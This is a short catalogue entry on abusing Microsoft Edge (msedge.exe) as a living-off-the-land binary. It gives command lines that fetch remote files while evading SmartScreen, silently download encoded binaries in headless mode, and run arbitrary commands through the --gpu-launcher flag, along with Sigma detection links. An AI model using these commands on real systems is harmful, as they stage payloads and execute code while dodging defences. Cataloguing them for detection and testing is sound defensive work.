Msedge.exe

Commands

1. DownloadUser T1105

   Download file from the internet

   msedge.exe {REMOTEURL:.exe.txt}

   Edge will launch and download the file. A ‘harmless’ file extension (e.g. .txt, .zip) should be appended to avoid SmartScreen.

   os: Windows 10, Windows 11

2. DownloadUser T1105

   Download file from the internet

   msedge.exe --headless --enable-logging --disable-gpu --dump-dom "{REMOTEURL:.base64.html}" > {PATH:.b64}

   Edge will silently download the file. File extension should be .html and binaries should be encoded.

   os: Windows 10, Windows 11

3. ExecuteUser T1218.015

   Executes a process under a trusted Microsoft signed binary

   msedge.exe --disable-gpu-sandbox --gpu-launcher="{CMD} &&"

   Edge spawns cmd.exe as a child process of msedge.exe and executes the specified command

   os: Windows 10, Windows 11

   Execute: CMD

Detection

• Sigma https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_browsers_msedge_arbitrary_download.yml
• Sigma https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_browsers_chromium_headless_file_download.yml

Resources

• https://twitter.com/mrd0x/status/1478116126005641220
• https://twitter.com/mrd0x/status/1478234484881436672